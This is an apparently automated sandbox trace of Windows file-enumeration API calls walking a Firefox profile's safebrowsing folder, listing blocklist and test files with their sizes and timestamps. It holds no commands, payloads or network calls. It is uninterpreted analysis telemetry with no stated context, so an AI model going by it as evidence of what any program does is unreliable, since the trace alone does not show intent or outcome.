cAlternateFileName="TEST-F~1.SBS")) returned 1 [0218.114] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x9068e33, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-flashallow-simple.pset", cAlternateFileName="TEST-F~2.PSE")) returned 1 [0218.114] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8ff6867, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-flashallow-simple.sbstore", cAlternateFileName="TEST-F~2.SBS")) returned 1 [0218.114] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x91018b0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-flashsubdoc-simple.pset", cAlternateFileName="TEST-F~3.PSE")) returned 1 [0218.114] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x90b53f6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-flashsubdoc-simple.sbstore", cAlternateFileName="TEST-F~3.SBS")) returned 1 [0218.114] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8de0720, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-malware-simple.pset", cAlternateFileName="TEST-M~1.PSE")) returned 1 [0218.114] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8d21a28, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-malware-simple.sbstore", cAlternateFileName="TEST-M~1.SBS")) returned 1 [0218.114] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e52e62, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-phish-simple.pset", cAlternateFileName="TEST-P~1.PSE")) returned 1 [0218.115] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8de0720, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-phish-simple.sbstore", cAlternateFileName="TEST-P~1.SBS")) returned 1 [0218.115] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8ec5558, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-track-simple.pset", cAlternateFileName="TEST-T~1.PSE")) returned 1 [0218.115] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e7909e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x110, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-track-simple.sbstore", cAlternateFileName="TEST-T~1.SBS")) returned 1 [0218.115] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8f37b31, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-trackwhite-simple.pset", cAlternateFileName="TEST-T~2.PSE")) returned 1 [0218.115] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8ec5558, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-trackwhite-simple.sbstore", cAlternateFileName="TEST-T~2.SBS")) returned 1 [0218.115] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e7909e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-unwanted-simple.pset", cAlternateFileName="TEST-U~1.PSE")) returned 1 [0218.116] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8e52e62, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="test-unwanted-simple.sbstore", cAlternateFileName="TEST-U~1.SBS")) returned 1 [0218.116] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8ff6867, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="testexcept-flash-simple.pset", cAlternateFileName="TESTEX~1.PSE")) returned 1 [0218.116] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x8faa34f, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="testexcept-flash-simple.sbstore", cAlternateFileName="TESTEX~1.SBS")) returned 1 [0218.116] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x90b53f6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="testexcept-flashallow-simple.pset", cAlternateFileName="TESTEX~2.PSE")) returned 1 [0218.116] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x9068e33, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="testexcept-flashallow-simple.sbstore", cAlternateFileName="TESTEX~2.SBS")) returned 1 [0218.116] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x9127a7a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="testexcept-flashsubdoc-simple.pset", cAlternateFileName="TESTEX~3.PSE")) returned 1 [0218.116] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5f53bb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5f53bb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x91018b0, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="testexcept-flashsubdoc-simple.sbstore", cAlternateFileName="TESTEX~3.SBS")) returned 1 [0218.117] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0218.117] FindClose (in: hFindFile=0x134b3a0 | out: hFindFile=0x134b3a0) returned 1 [0218.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edd30) returned 1 [0218.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x209edcf0) returned 1 [0218.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x209eddf0) returned 1 [0218.118] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing", nBufferLength=0x105, lpBuffer=0x209ed890, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing", lpFilePart=0x0) returned 0x54 [0218.118] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\*", lpFindFileData=0x209edb10 | out: lpFindFileData=0x209edb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3d1ad183, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3d1ad183, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0218.118] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3d1ad183, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3d1ad183, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0218.119] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5a8f2d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5d35a42, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="allow-flashallow-digest256.pset", cAlternateFileName="ALLOW-~1.PSE")) returned 1 [0218.119] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5a8f2d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5b9ca22, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="allow-flashallow-digest256.sbstore", cAlternateFileName="ALLOW-~1.SBS")) returned 1 [0218.119] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5a8f2d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x6aef8a9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-track-digest256.pset", cAlternateFileName="BASE-T~1.PSE")) returned 1 [0218.119] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5a8f2d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x69f53fc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xf238, dwReserved0=0x0, dwReserved1=0x0, cFileName="base-track-digest256.sbstore", cAlternateFileName="BASE-T~1.SBS")) returned 1 [0218.119] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5a8f2d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x6de2467, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="block-flash-digest256.pset", cAlternateFileName="BLOCK-~1.PSE")) returned 1 [0218.119] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5a8f2d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x6d13474, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="block-flash-digest256.sbstore", cAlternateFileName="BLOCK-~1.SBS")) returned 1 [0218.120] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5a8f2d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x6926e3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="block-flashsubdoc-digest256.pset", cAlternateFileName="BLOCK-~2.PSE")) returned 1 [0218.120] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x67d720d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1435c, dwReserved0=0x0, dwReserved1=0x0, cFileName="block-flashsubdoc-digest256.sbstore", cAlternateFileName="BLOCK-~2.SBS")) returned 1 [0218.120] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5e77f5d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="except-flash-digest256.pset", cAlternateFileName="EXCEPT~1.PSE")) returned 1 [0218.120] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5d394de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="except-flash-digest256.sbstore", cAlternateFileName="EXCEPT~1.SBS")) returned 1 [0218.120] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5b9a2e1, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="except-flashallow-digest256.pset", cAlternateFileName="EXCEPT~2.PSE")) returned 1 [0218.120] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x52202b3, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="except-flashallow-digest256.sbstore", cAlternateFileName="EXCEPT~2.SBS")) returned 1 [0218.121] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x60c4776, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="except-flashinfobar-digest256.pset", cAlternateFileName="EXCEPT~3.PSE")) returned 1 [0218.121] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5fb9149, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x22c, dwReserved0=0x0, dwReserved1=0x0, cFileName="except-flashinfobar-digest256.sbstore", cAlternateFileName="EXCEPT~3.SBS")) returned 1 [0218.121] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5fb4307, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="except-flashsubdoc-digest256.pset", cAlternateFileName="EXCEPT~4.PSE")) returned 1 [0218.121] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5e7a69e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x0, dwReserved1=0x0, cFileName="except-flashsubdoc-digest256.sbstore", cAlternateFileName="EXCEPT~4.SBS")) returned 1 [0218.121] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c7267ee, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c7267ee, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3c7267ee, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x164ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog-badbinurl-shavar.pset", cAlternateFileName="GOOG-B~1.PSE")) returned 1 [0218.121] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c61b60e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c61b60e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3c641850, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xba3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog-badbinurl-shavar.sbstore", cAlternateFileName="GOOG-B~1.SBS")) returned 1 [0218.122] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c798e05, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c798e05, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3c798e05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog-downloadwhite-digest256.pset", cAlternateFileName="GOOG-D~1.PSE")) returned 1 [0218.122] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c7267ee, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c7267ee, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3c74c913, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4dec, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog-downloadwhite-digest256.sbstore", cAlternateFileName="GOOG-D~1.SBS")) returned 1 [0218.122] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x209edad0 | out: lpFindFileData=0x209edad0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cb9ee8b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3cb9ee8b, ftLastAccessTime.dwHighDateTime=0x1d327cc, 